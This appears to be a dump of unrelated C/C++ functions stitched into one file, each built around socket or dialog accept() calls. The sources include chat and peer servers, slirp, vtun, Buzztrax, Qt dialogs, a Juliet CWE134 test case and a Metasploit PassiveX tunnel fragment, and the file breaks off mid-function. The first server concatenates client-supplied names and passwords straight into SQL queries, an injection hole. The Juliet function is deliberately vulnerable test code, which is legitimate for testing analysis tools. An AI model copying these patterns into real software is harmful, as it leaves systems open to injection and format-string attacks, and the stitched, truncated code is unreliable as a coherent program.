int main(int argc, char *argv[]) { int sockfd = -1; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { E("%s", strerror(errno)); return -1; } int optval = 1; int ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); if (ret == -1) { E("%s", strerror(errno)); return -1; } //ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT, //&optval, sizeof(optval)); struct sockaddr_in addr; socklen_t addrlen = sizeof(addr); memset(&addr, '\0', addrlen); addr.sin_family = AF_INET; addr.sin_port = htons(8888); addr.sin_addr.s_addr = INADDR_ANY; ret = bind(sockfd, (struct sockaddr *)&addr, addrlen); if (ret == -1) { E("%s", strerror(errno)); return -1; } int backlog = 20; ret = listen(sockfd, backlog); if (ret == -1) { E("%s", strerror(errno)); return -1; } sqlite3 *db; ret = sqlite3_open("./cs_user.db", &db); if (ret != SQLITE_OK) { E("sqlite3_open() failed."); return -1; } int query_len_max = 512; char *query_line = (char *)cs_malloc(sizeof(char) * query_len_max); if (query_line == NULL) { E("cs_malloc() failed."); return -1; } struct sockaddr_in peer_addr; socklen_t peer_addrlen = sizeof(peer_addr); memset(&peer_addr, '\0', peer_addrlen); size_t buflen = 512; char *buf = (char *)cs_malloc(sizeof(char) * buflen); if (buf == NULL) { E("cs_malloc() failed."); cs_free(&query_line); return -1; } int peer_sockfd = -1; ssize_t s = 0; char str[INET_ADDRSTRLEN]; while (1) { peer_sockfd = accept(sockfd, (struct sockaddr *)&peer_addr, &peer_addrlen); if (peer_sockfd == -1) { E("%s", strerror(errno)); break; } D("received from %s at PORT %d", inet_ntop(AF_INET, &peer_addr.sin_addr, str, sizeof(str)), ntohs(peer_addr.sin_port)); // FIXME: why server exit when client ctrl-c while (1) { memset(buf, '\0', buflen); s = read(peer_sockfd, buf, buflen); if (s == -1 || strlen(buf) == 0) { //E("%s", strerror(errno)); break; } DS(buf); /* check username & passwd */ cs_request_t req = cs_parse_request(buf); if (req.name == NULL) { E("cs_parse_request() failed."); break; } request_dump(&req); memset(query_line, '\0', query_len_max); sprintf(query_line, "select * from user where name='%s' and passwd='%s'", req.name, req.passwd); DS(query_line); int sql_select_num = 0; ret = sqlite3_exec(db, query_line, sql_check_identity_cb, &sql_select_num, NULL); if (ret == SQLITE_ABORT || sql_select_num != 1) { E("sqlite3_exec() failed."); DD(sql_select_num); s = write(peer_sockfd, "*", 1); if (s == -1) { E("%s", strerror(errno)); } D("send sign * to client."); break; } memset(buf, '\0', buflen); memset(query_line, '\0', query_len_max); /* get buddy name list */ sprintf(query_line, "select * from %s", req.name); DS(query_line); cs_str_t buddy; buddy.data = buf; buddy.len = strlen(buf); ret = sqlite3_exec(db, query_line, sql_get_buddy_cb, &buddy, NULL); if (ret == SQLITE_ABORT) { E("sqlite3_exec() failed."); break; } DDSTR(buddy); request_free(&req); if (strlen(buf) == 0) { s = write(peer_sockfd, ":", 1); if (s == -1) { E("%s", strerror(errno)); } D("send sign : to client."); break; } s = write(peer_sockfd, buf, strlen(buf)); if (s == -1) { E("%s", strerror(errno)); break; } } } cs_free(&buf); cs_free(&query_line); sqlite3_close(db); ret = close(sockfd); if (ret == -1) { E("%s", strerror(errno)); return -1; } #if 0 void FD_CLR(int fd, fd_set *set); int FD_ISSET(int fd, fd_set *set); void FD_SET(int fd, fd_set *set); void FD_ZERO(fd_set *set); int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); #endif return 0; }
void InstructionWizardDialog::on_finishButton_clicked() { accept(); }
int main (int argc, char **argv) { char *socket_file = NULL; const char *debug_log_flag_str = getenv ("BML_DEBUG"); const int debug_log_flags = debug_log_flag_str ? atoi (debug_log_flag_str) : 0; BMLDebugLogger logger; int server_socket, client_socket; socklen_t addrlen; ssize_t size; struct sockaddr_un address = { 0, }; int running = TRUE; BmlIpcBuf bo = IPC_BUF_INIT, bi = IPC_BUF_INIT; BmAPI id; logger = TRACE_INIT (debug_log_flags); TRACE ("beg\n"); if (argc > 1) { socket_file = argv[1]; } else { fprintf (stderr, "Usage: bmlhost <socket file>\n"); return EXIT_FAILURE; } TRACE ("socket file: '%s'\n", socket_file); if (!_bmlw_setup (logger)) { TRACE ("bmlw setup failed\n"); return EXIT_FAILURE; } // TODO: maybe switch to SOCK_SEQPACKET if ((server_socket = socket (PF_LOCAL, SOCK_STREAM, 0)) > 0) { TRACE ("server socket created\n"); } unlink (socket_file); address.sun_family = PF_LOCAL; strcpy (&address.sun_path[1], socket_file); if (bind (server_socket, (struct sockaddr *) &address, sizeof (sa_family_t) + strlen (socket_file) + 1) != 0) { TRACE ("socket path already in use!\n"); } // number of pending connections // upper limmit is /proc/sys/net/core/somaxconn usually 128 == SOMAXCONN // right we just have one anyway listen (server_socket, /* backlog of pending connections */ SOMAXCONN); addrlen = sizeof (struct sockaddr_in); client_socket = accept (server_socket, (struct sockaddr *) &address, &addrlen); if (client_socket > 0) { TRACE ("client connected\n"); } while (running) { TRACE ("waiting for command ====================\n"); bmlipc_clear (&bi); size = recv (client_socket, bi.buffer, IPC_BUF_SIZE, 0); if (size == 0) { TRACE ("got EOF\n"); running = FALSE; continue; } if (size == -1) { TRACE ("ERROR: recv returned %d: %s\n", errno, strerror (errno)); // TODO(ensonic): specific action depending on error continue; } bi.size = (int) size; TRACE ("got %d bytes\n", bi.size); // parse message id = bmlipc_read_int (&bi); if (bi.io_error) { TRACE ("message should be at least 4 bytes"); continue; } TRACE ("command: %d\n", id); bmlipc_clear (&bo); switch (id) { case 0: running = FALSE; break; case BM_SET_MASTER_INFO: _bmlw_set_master_info (&bi, &bo); break; case BM_OPEN: _bmlw_open (&bi, &bo); break; case BM_CLOSE: _bmlw_close (&bi, &bo); break; case BM_GET_MACHINE_INFO: _bmlw_get_machine_info (&bi, &bo); break; case BM_GET_GLOBAL_PARAMETER_INFO: _bmlw_get_global_parameter_info (&bi, &bo); break; case BM_GET_TRACK_PARAMETER_INFO: _bmlw_get_track_parameter_info (&bi, &bo); break; case BM_GET_ATTRIBUTE_INFO: _bmlw_get_attribute_info (&bi, &bo); break; case BM_DESCRIBE_GLOBAL_VALUE: _bmlw_describe_global_value (&bi, &bo); break; case BM_DESCRIBE_TRACK_VALUE: _bmlw_describe_track_value (&bi, &bo); break; case BM_NEW: _bmlw_new (&bi, &bo); break; case BM_FREE: _bmlw_free (&bi, &bo); break; case BM_INIT: _bmlw_init (&bi, &bo); break; case BM_GET_TRACK_PARAMETER_VALUE: _bmlw_get_track_parameter_value (&bi, &bo); break; case BM_SET_TRACK_PARAMETER_VALUE: _bmlw_set_track_parameter_value (&bi, &bo); break; case BM_GET_GLOBAL_PARAMETER_VALUE: _bmlw_get_global_parameter_value (&bi, &bo); break; case BM_SET_GLOBAL_PARAMETER_VALUE: _bmlw_set_global_parameter_value (&bi, &bo); break; case BM_GET_ATTRIBUTE_VALUE: _bmlw_get_attribute_value (&bi, &bo); break; case BM_SET_ATTRIBUTE_VALUE: _bmlw_set_attribute_value (&bi, &bo); break; case BM_TICK: _bmlw_tick (&bi, &bo); break; case BM_WORK: _bmlw_work (&bi, &bo); break; case BM_WORK_M2S: _bmlw_work_m2s (&bi, &bo); break; case BM_STOP: _bmlw_stop (&bi, &bo); break; case BM_ATTRIBUTES_CHANGED: _bmlw_attributes_changed (&bi, &bo); break; case BM_SET_NUM_TRACKS: _bmlw_set_num_tracks (&bi, &bo); break; case BM_SET_CALLBACKS: TRACE ("FIXME"); break; default: break; } if (bo.size) { size = send (client_socket, bo.buffer, bo.size, MSG_NOSIGNAL); TRACE ("sent %d of %d bytes\n", size, bo.size); if (size == -1) { TRACE ("ERROR: send returned %d: %s\n", errno, strerror (errno)); // TODO(ensonic): specific action depending on error } } } close (client_socket); close (server_socket); unlink (socket_file); _bmlw_finalize (); TRACE ("end\n"); return EXIT_SUCCESS; }
void applyDiscount::sApply() { accept(); }
/* * XXX This is ugly * We create and bind a socket, then fork off to another * process, which connects to this socket, after which we * exec the wanted program. If something (strange) happens, * the accept() call could block us forever. * * do_pty = 0 Fork/exec inetd style * do_pty = 1 Fork/exec using slirp.telnetd * do_ptr = 2 Fork/exec using pty */ int fork_exec(struct socket *so, char *ex, int do_pty) { int s; struct sockaddr_in addr; socklen_t addrlen = sizeof(addr); int opt; int master; char *argv[256]; #if 0 char buff[256]; #endif /* don't want to clobber the original */ char *bptr; char *curarg; int c, i, ret; DEBUG_CALL("fork_exec"); DEBUG_ARG("so = %lx", (long)so); DEBUG_ARG("ex = %lx", (long)ex); DEBUG_ARG("do_pty = %lx", (long)do_pty); if (do_pty == 2) { if (slirp_openpty(&master, &s) == -1) { lprint("Error: openpty failed: %s\n", strerror(errno)); return 0; } } else { memset(&addr, 0, sizeof(struct sockaddr_in)); addr.sin_family = AF_INET; addr.sin_port = 0; addr.sin_addr.s_addr = INADDR_ANY; if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0 || bind(s, (struct sockaddr *)&addr, addrlen) < 0 || listen(s, 1) < 0) { lprint("Error: inet socket: %s\n", strerror(errno)); closesocket(s); return 0; } } switch(fork()) { case -1: lprint("Error: fork failed: %s\n", strerror(errno)); close(s); if (do_pty == 2) close(master); return 0; case 0: /* Set the DISPLAY */ if (do_pty == 2) { (void) close(master); #ifdef TIOCSCTTY /* XXXXX */ (void) setsid(); ioctl(s, TIOCSCTTY, (char *)NULL); #endif } else { getsockname(s, (struct sockaddr *)&addr, &addrlen); close(s); /* * Connect to the socket * XXX If any of these fail, we're in trouble! */ s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_addr = loopback_addr; do { ret = connect(s, (struct sockaddr *)&addr, addrlen); } while (ret < 0 && errno == EINTR); } #if 0 if (x_port >= 0) { #ifdef HAVE_SETENV sprintf(buff, "%s:%d.%d", inet_ntoa(our_addr), x_port, x_screen); setenv("DISPLAY", buff, 1); #else sprintf(buff, "DISPLAY=%s:%d.%d", inet_ntoa(our_addr), x_port, x_screen); putenv(buff); #endif } #endif dup2(s, 0); dup2(s, 1); dup2(s, 2); for (s = 3; s <= 255; s++) close(s); i = 0; bptr = strdup(ex); /* No need to free() this */ if (do_pty == 1) { /* Setup "slirp.telnetd -x" */ argv[i++] = "slirp.telnetd"; argv[i++] = "-x"; argv[i++] = bptr; } else do { /* Change the string into argv[] */ curarg = bptr; while (*bptr != ' ' && *bptr != (char)0) bptr++; c = *bptr; *bptr++ = (char)0; argv[i++] = strdup(curarg); } while (c); argv[i] = 0; execvp(argv[0], argv); /* Ooops, failed, let's tell the user why */ { char buff[256]; sprintf(buff, "Error: execvp of %s failed: %s\n", argv[0], strerror(errno)); write(2, buff, strlen(buff)+1); } close(0); close(1); close(2); /* XXX */ exit(1); default: if (do_pty == 2) { close(s); so->s = master; } else { /* * XXX this could block us... * XXX Should set a timer here, and if accept() doesn't * return after X seconds, declare it a failure * The only reason this will block forever is if socket() * of connect() fail in the child process */ do { so->s = accept(s, (struct sockaddr *)&addr, &addrlen); } while (so->s < 0 && errno == EINTR); closesocket(s); opt = 1; setsockopt(so->s,SOL_SOCKET,SO_REUSEADDR,(char *)&opt,sizeof(int)); opt = 1; setsockopt(so->s,SOL_SOCKET,SO_OOBINLINE,(char *)&opt,sizeof(int)); } fd_nonblock(so->s); /* Append the telnet options now */ if (so->so_m != 0 && do_pty == 1) { sbappend(so, so->so_m); so->so_m = 0; } return 1; } }
static void listener(void) { struct sigaction sa; struct sockaddr_in my_addr, cl_addr; int s, s1, opt; memset(&my_addr, 0, sizeof(my_addr)); my_addr.sin_family = AF_INET; /* Set listen address */ if( generic_addr(&my_addr, &vtun.bind_addr) < 0) { vtun_syslog(LOG_ERR, "Can't fill in listen socket"); exit(1); } if( (s=socket(AF_INET,SOCK_STREAM,0))== -1 ){ vtun_syslog(LOG_ERR,"Can't create socket"); exit(1); } opt=1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); if( bind(s,(struct sockaddr *)&my_addr,sizeof(my_addr)) ){ vtun_syslog(LOG_ERR,"Can't bind to the socket"); exit(1); } if( listen(s, 10) ){ vtun_syslog(LOG_ERR,"Can't listen on the socket"); exit(1); } memset(&sa,0,sizeof(sa)); sa.sa_flags = SA_NOCLDWAIT; sa.sa_handler=sig_term; sigaction(SIGTERM,&sa,NULL); sigaction(SIGINT,&sa,NULL); server_term = 0; set_title("waiting for connections on port %d", vtun.bind_addr.port); while( (!server_term) || (server_term == VTUN_SIG_HUP) ){ opt=sizeof(cl_addr); if( (s1=accept(s,(struct sockaddr *)&cl_addr,&opt)) < 0 ) continue; switch( fork() ){ case 0: close(s); connection(s1); break; case -1: vtun_syslog(LOG_ERR, "Couldn't fork()"); default: close(s1); break; } } }
void CWE134_Uncontrolled_Format_String__char_listen_socket_w32_vsnprintf_14_bad() { char * data; char dataBuffer[100] = ""; data = dataBuffer; if(globalFive==5) { { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; char *replace; SOCKET listenSocket = INVALID_SOCKET; SOCKET acceptSocket = INVALID_SOCKET; size_t dataLen = strlen(data); do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a listen socket */ listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(TCP_PORT); if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR) { break; } acceptSocket = accept(listenSocket, NULL, NULL); if (acceptSocket == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed */ recvResult = recv(acceptSocket, (char *)(data + dataLen), sizeof(char) * (100 - dataLen - 1), 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* Append null terminator */ data[dataLen + recvResult / sizeof(char)] = '\0'; /* Eliminate CRLF */ replace = strchr(data, '\r'); if (replace) { *replace = '\0'; } replace = strchr(data, '\n'); if (replace) { *replace = '\0'; } } while (0); if (listenSocket != INVALID_SOCKET) { CLOSE_SOCKET(listenSocket); } if (acceptSocket != INVALID_SOCKET) { CLOSE_SOCKET(acceptSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } } if(globalFive==5) { badVaSinkB(data, data); } }
DWORD HttpTunnel::InitializeLocalConnection() { struct sockaddr_in Sin; USHORT LocalPort = 0; DWORD Attempts = 0; DWORD Result = ERROR_SUCCESS; HMODULE hWinsock = NULL; WSASOCKETA pWSASocketA = NULL; WSADATA wsaData; hWinsock = LoadLibraryA( "WS2_32.DLL" ); if( hWinsock == NULL ) { CPassiveX::Log( TEXT("DownloadSecondStage(): LoadLibraryA for WS2_32.DLL failed.\n") ); return !ERROR_SUCCESS; } pWSASocketA = (WSASOCKETA)GetProcAddress( hWinsock, "WSASocketA"); if( pWSASocketA == NULL ) { CPassiveX::Log( TEXT("DownloadSecondStage(): GetProcAddress for WSASocketA failed.\n") ); return !ERROR_SUCCESS; } if( WSAStartup( MAKEWORD(2,2), &wsaData ) != 0 ) { CPassiveX::Log( TEXT("DownloadSecondStage(): WSAStartup failed.\n") ); return !ERROR_SUCCESS; } do { // Create the TCP listener socket //LocalTcpListener = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 ); LocalTcpListener = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if( LocalTcpListener == INVALID_SOCKET ) { LocalTcpListener = 0; Result = WSAGetLastError(); break; } // Create the TCP client socket LocalTcpClientSide = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 ); if( LocalTcpClientSide == INVALID_SOCKET ) { LocalTcpClientSide = 0; Result = WSAGetLastError(); break; } Sin.sin_family = AF_INET; Sin.sin_addr.s_addr = inet_addr("127.0.0.1"); // Try 256 times to pick a random port Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025); while( ( bind( LocalTcpListener, (struct sockaddr *)&Sin, sizeof(Sin) ) == SOCKET_ERROR ) && (Attempts++ < 256) ) { Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025); } // If we failed to create the local listener, bomb out if (Attempts >= 256) { Result = WSAGetLastError(); break; } // Listen and stuff if (listen( LocalTcpListener, 1) == SOCKET_ERROR) { Result = WSAGetLastError(); break; } // Establish a connection to the local listener if (connect( LocalTcpClientSide, (struct sockaddr *)&Sin, sizeof(Sin)) == SOCKET_ERROR) { Result = WSAGetLastError(); break; } // Accept the local TCP connection if ((LocalTcpServerSide = accept( LocalTcpListener, NULL, NULL)) == SOCKET_ERROR) { LocalTcpServerSide = 0; Result = WSAGetLastError(); break; } // Woop! Result = ERROR_SUCCESS; } while (0); return Result; }
void CNotify::on_okButton_clicked(){ accept(); }
int server(char* port) { int completed=0; node *IP_list = NULL; int noOfConnections=0; int cmdNo; fd_set read_fds, write_fds,read_fds_copy,write_fds_copy; FD_ZERO(&read_fds); FD_ZERO(&write_fds); //int fdMax = STDIN_FILENO; int fdMax = 0; // 0 is file descriptor for standard input int serverSocket, nSocket,selected; struct sockaddr_in serverAddress,clientAddress; struct sockaddr_storage getPeerInfo; socklen_t clientAddrLen = sizeof(clientAddress); char msg[5000]; int numBytes; serverSocket= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); printf("Server created \n"); if(serverSocket == -1) { printf("Server: Socket creation failed\n"); } fdMax = serverSocket; /* Beej: Allows other sockets to bind() to this port, unless there is an active listening socket bound to the port already. This enables you to get around those "Address already in use" error messages when you try to restart your server after a crash. */ int socketReuse = 1; setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&socketReuse,sizeof(int)); serverAddress.sin_addr.s_addr = INADDR_ANY; serverAddress.sin_family = AF_INET; serverAddress.sin_port = htons(atoi(port)); //network Byte order // bind if(bind(serverSocket,(struct sockaddr*)&serverAddress,sizeof(serverAddress))== -1) { printf("Server: Binding failed\n"); close(serverSocket); } printf("Server has been bound to port %d \n",atoi(port)); //printf("Server sockets is %d \n",serverSocket); listen(serverSocket,10); FD_SET(STDIN_FILENO,&read_fds); FD_SET(serverSocket,&read_fds); while(1) { // Create copies of fd_sets because select will modify them read_fds_copy = read_fds; write_fds_copy = write_fds; if (select(fdMax+1, &read_fds_copy,NULL, NULL, NULL) == -1) { perror("Server : Select error"); continue; } for(selected = 0;selected<=fdMax;selected++) { if(FD_ISSET(selected,&read_fds_copy)) { /* Need to handle 3 scenarios 1. Data available from Server socket (New Client arrives) 2. Data available from Standard Input (Commands) 3. Data available from clients (SYNC? ) */ if(selected==serverSocket){ // Scenario 1 printf("Server : A client is trying to connect.\n"); memset(&clientAddress, 0, sizeof(clientAddrLen)); if ((nSocket = accept(serverSocket,(struct sockaddr*)&clientAddress,&clientAddrLen))==-1) { printf("Server: Accept failed\n"); } if (noOfConnections >= 4) { close(nSocket); printf("Server : Connection limit exceeded!\n"); continue; } memset(msg,0,5000); // receive clients listening port number numBytes = recv(nSocket,msg,5000,0); printf("New connection from %s : %d \n",inet_ntoa(clientAddress.sin_addr),atoi(msg)); printf("Client has been registered .Yay!\n"); setsockopt(nSocket,SOL_SOCKET,SO_REUSEADDR,&socketReuse,sizeof(int)); push(clientAddress,nSocket,atoi(msg),&IP_list); noOfConnections++; sendAll(IP_list,noOfConnections); FD_SET(nSocket,&read_fds); if(nSocket > fdMax) fdMax = nSocket; } // End Scenario 1 if(selected==0){ // Scenario 2 memset(msg,0,sizeof(msg)); // clear msg array if ((numBytes = read(selected, msg, sizeof(msg))) <= 0) perror("Server read error"); cmdNo=parse(msg); int fd; switch(cmdNo){ case 0: // HELP help(); break; case 1: creator(); //CREATOR break; case 2: display(port,1); //DISPLAY break; case 3: //REGISTER printf("REGISTER command not available for server\n"); break; case 4: //CONNECT printf("CONNECT command not available for server\n"); break; case 5: //LIST displayList(IP_list); break; case 6: //TERMINATE fd=terminate(&IP_list); if(fd!=-1){ FD_CLR(fd,&read_fds); FD_CLR(fd,&write_fds); fdMax = getMaxFD(IP_list); noOfConnections--; if(noOfConnections==0){ IP_list=NULL; } } else{ printf("Invalid connection ID \n"); } break; break; case 7: //QUIT quit(&IP_list); return 1; break; case 8: //GET printf("GET command not available for server\n"); break; case 9: //PUT printf("PUT command not available for server\n"); break; case 10: //SYNC printf("SYNC command not available for server\n"); break; } } // End Scenario 2 else { // Scenario 3 if ((numBytes = recv(selected, msg, 5000, 0)) <= 0) { if (numBytes == 0) { if(getpeername(selected,(struct sockaddr*)&getPeerInfo,&clientAddrLen)<0) { perror("Server : Error\n"); return 0; } struct sockaddr_in *s = (struct sockaddr_in *)&getPeerInfo; char* IPAdd = (char*)malloc(sizeof(char)*INET6_ADDRSTRLEN); int targetPort = ntohs(ntohs(s->sin_port)); inet_ntop(AF_INET, &(s->sin_addr), IPAdd, INET6_ADDRSTRLEN); printf("Server: Connection closed by IP %s\n",IPAdd); delete(IPAdd,targetPort,&IP_list); FD_CLR(selected,&read_fds); close(selected); noOfConnections--; if(noOfConnections == 0){ printf("All connections are closed\n"); IP_list=NULL;} else { // Broad cast current peer list fdMax = getMaxFD(IP_list); sendAll(IP_list,noOfConnections); } } else { //perror("Server"); } } else// we got some data from a client { char command1[4]; char command2[6]; memcpy(command1,msg,4); // Extract first 3 characters from incoming data memcpy(command2,msg,6); // Extract first 3 characters from incoming data if(!(strcmp(command1,"SYNC")) || (!(strcmp(command1,"sync")))) { // Check if it is GET command printf("Triggering SYNC on all connected peers!\n"); node *curr=IP_list; syncRelay(curr); memset(msg,0,5000); // reset read buffer curr=curr->next; completed++; } else if(!(strcmp(command2,"E_SYNC")) || (!(strcmp(command2,"e_sync")))) { // Check if it is GET command printf("ESYNC received\n"); int i; node *curr=IP_list; if(completed!=noOfConnections){ for(i=0;i<completed;i++){ curr=curr->next; } syncRelay(curr); completed++; } else if(completed==noOfConnections){ completed=0; } memset(msg,0,5000); // reset read buffer } } } } } } }
unsigned int CEvSockets::Accept(unsigned int lsocket) { SOCKET polaczony; polaczony = accept(lsocket,(struct sockaddr *)&sinS, &rozmiarS); return polaczony; }
int socket_accept4(int s, char* ip, uint16* port) { struct sockaddr_in si; socklen_t len = sizeof si; int64 fd; #if WINDOWS_NATIVE && !defined(USE_SELECT) io_entry* e = array_get(io_getfds(), sizeof(io_entry), s); if(e && e->inuse) { int sa2len; fd = -1; if(e->acceptqueued == 1) { errno = EAGAIN; return -1; } if(e->acceptqueued == 2) { incoming: /* incoming! */ { struct sockaddr *x, *y; GetAcceptExSockaddrs(e->inbuf, 0, 200, 200, &x, &sa2len, &y, &len); if(len > sizeof(si)) len = sizeof(si); byte_copy(&si, len, y); } fd = e->next_accept; e->next_accept = 0; if(e->nonblock) { if(io_fd(fd)) { io_entry* f = array_get(io_getfds(), sizeof(io_entry), fd); if(f) { f->nonblock = 1; /* printf("setting fd %lu to non-blocking\n",(int64)fd); */ } } } } /* no accept queued, queue one now. */ if(e->next_accept == 0) { e->next_accept = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(e == INVALID_HANDLE_VALUE) return winsock2errno(-1); } if(AcceptEx(s, e->next_accept, e->inbuf, 0, 200, 200, &e->errorcode, &e->or)) goto incoming; if(WSAGetLastError() != ERROR_IO_PENDING) return winsock2errno(-1); e->acceptqueued = 1; if(fd == -1) { errno = EAGAIN; return fd; } } else { #endif if((fd = accept(s, (void*)&si, &len)) == -1) return winsock2errno(-1); #if WINDOWS_NATIVE && !defined(USE_SELECT) } #endif if(ip) *(uint32*)ip = *(uint32*)&si.sin_addr; if(port) uint16_unpack_big((char*)&si.sin_port, port); return fd; }
void LogConfigDialog::buildDialog() { setWindowTitle(tr("Configure Logging")); QPushButton* button; QVBoxLayout *vLayout; QHBoxLayout *hLayout; QFormLayout *fLayout = new QFormLayout; m_configFilePath = new QLineEdit(); m_logFilePath = new QLineEdit(); hLayout = new QHBoxLayout(); vLayout = new QVBoxLayout(); vLayout->addWidget(new QLabel(tr("Configuration File: "))); vLayout->addWidget(new QLabel(tr("Log File: "))); hLayout->addLayout(vLayout); vLayout = new QVBoxLayout(); vLayout->addWidget(m_configFilePath); vLayout->addWidget(m_logFilePath); hLayout->addLayout(vLayout); vLayout = new QVBoxLayout(); button = new QPushButton(tr("Load")); connect(button, SIGNAL(clicked()), this, SLOT(loadLogConfiguration())); vLayout->addWidget(button); button = new QPushButton(tr("Select")); connect(button, SIGNAL(clicked()), this, SLOT(selectLogFile())); vLayout->addWidget(button); hLayout->addLayout(vLayout); vLayout = new QVBoxLayout(); button = new QPushButton(tr("Save")); connect(button, SIGNAL(clicked()), this, SLOT(saveLogConfiguration())); vLayout->addWidget(button); vLayout->addStretch(); hLayout->addLayout(vLayout); fLayout->addRow(hLayout); hLayout = new QHBoxLayout(); vLayout = new QVBoxLayout(); vLayout->addWidget(new QLabel(tr("Routings:"))); button = new QPushButton(tr("Edit")); connect(button, SIGNAL(clicked()), this, SLOT(editSelectedRouting())); vLayout->addWidget(button); button = new QPushButton(tr("Add")); connect(button, SIGNAL(clicked()), this, SLOT(addRouting())); vLayout->addWidget(button); button = new QPushButton(tr("Copy")); connect(button, SIGNAL(clicked()), this, SLOT(copyRouting())); vLayout->addWidget(button); button = new QPushButton(tr("Delete")); connect(button, SIGNAL(clicked()), this, SLOT(delSelectedRouting())); vLayout->addWidget(button); vLayout->addStretch(); hLayout->addLayout(vLayout); m_routingTableView = new QTableView(); m_tableModel = new LogRoutingInfoTableModel(); m_routingTableView->setModel(m_tableModel); LinkBackFilterDelegate* delegate = new LinkBackFilterDelegate(m_routingTableView); m_routingTableView->setItemDelegate(delegate); CheckBoxOnlyDelegate * cboDelegate = new CheckBoxOnlyDelegate(m_routingTableView); m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::enabledColumn, cboDelegate); m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::routFileColumn, cboDelegate); m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::routScreenColumn, cboDelegate); m_routingTableView->setItemDelegateForColumn(LogRoutingInfoTableModel::routDebugColumn, cboDelegate); hLayout->addWidget(m_routingTableView); fLayout->addRow(hLayout); QDialogButtonBox *buttonBox = new QDialogButtonBox(QDialogButtonBox::Ok | QDialogButtonBox::Cancel, Qt::Horizontal); connect(buttonBox, SIGNAL(accepted()), this, SLOT(accept())); connect(buttonBox, SIGNAL(rejected()), this, SLOT(reject())); fLayout->addRow(buttonBox); setLayout(fLayout); QSettings settings; restoreGeometry(settings.value("LogConfigDialogGeometry").toByteArray()); setConfigFilePath(settings.value("LogConfigDialogLastConfigPath").toString()); QString s = settings.value("LogConfigDialogRoutingColumnWidths").toString(); if (s.length() > 0) { QStringList list = s.split(','); bool ok = true; for (int i=0; i<list.count() && i<LogRoutingInfoTableModel::numColumns; ++i) { int width = list[i].toInt(&ok); if (ok && width > 0) { m_routingTableView->setColumnWidth(i, width); } } } }
int server(char *port) { int listenfd /*to listen*/, newfd; /*new connection*/ int getaddrval, len1, len2, len3; int maxfdnumber, clientlistindex, i, j, k, ready, copyfd, argsc ; int clientfdlist[MAXCLIENTS]; struct addrinfo hints, *result, *p; struct sockaddr_in client; fd_set masterfdset /*all sockets or fds to monitor*/, readfdset /*this will be modified after select()*/; int numrecv, numsent; void *buffer; struct clientinfo info[MAXCLIENTS]; struct unabletoconnect unablemessage; u_short clientport, myport; char clientip[INET_ADDRSTRLEN], myip[INET_ADDRSTRLEN]; char myhostname[40], clienthostname[40]; char command[MAXTOTALLENGTH]; char *token; char args[MAXARGS][MAXARGLENGTH]; struct sockaddr_in *temp, *temp2; // load up hints // getaddrinfo code concept taken from http://beej.us/guide/bgnet/output/html/multipage/syscalls.html#getaddrinfo buffer = malloc (len1); len1 = sizeof(struct sockaddr_in); len2 = MAXCLIENTS*(sizeof(struct clientinfo)); len3 = sizeof(struct unabletoconnect); bzero(&hints, sizeof(struct addrinfo)); hints.ai_family = AF_INET; //ipv4 hints.ai_socktype = SOCK_STREAM; //tcp hints.ai_flags = AI_PASSIVE; //use my ip for (i=0; i<MAXCLIENTS; i++) { bzero(&info[i], sizeof(struct clientinfo)); info[i].id= 1; } unablemessage.id = 0; //-------------------------------------------------------------------------------------------------------- // call getaddrinfo() if ((getaddrval = getaddrinfo(NULL, port, &hints, &result)) < 0) { perror ("getaddrinfo() error"); exit(-1); } //-------------------------------------------------------------------------------------------------------- p=result; // try to create socket() and bind() for each element in result do { if ((listenfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) { printf ("%d\n", listenfd); perror ("socket() error"); exit(-1); } if ((bind (listenfd, p->ai_addr, p->ai_addrlen)) < 0) { printf ("%d\n", listenfd); perror ("bind() error"); exit(-1); } break; //if successful, break p=p->ai_next; } while(p->ai_next !=NULL); if (p==NULL) { printf("Server: socket() and/or bind() not successful\n"); exit(-1); } //-------------------------------------------------------------------------------------------------------- //for MYIP and MYPORT // code taken from http://jhshi.me/2013/11/02/how-to-get-hosts-ip-address/ char hostname[256]; int sock; /*for getting myip and myport */ struct addrinfo hints4, *result4; char* target_name = "8.8.8.8"; //Google DNS IP and Port char* target_port = "53"; struct sockaddr_in local_addr; socklen_t addr_len; if (gethostname(hostname, sizeof(hostname)) < 0) { perror("gethostname() error while getting own hostname"); return -1; } /* get peer server */ memset(&hints4, 0, sizeof(hints4)); hints4.ai_family = AF_INET; hints4.ai_socktype = SOCK_STREAM; if ((getaddrval = getaddrinfo(target_name, target_port, &hints4, &result4)) < 0) { printf ("%d\n",getaddrval); 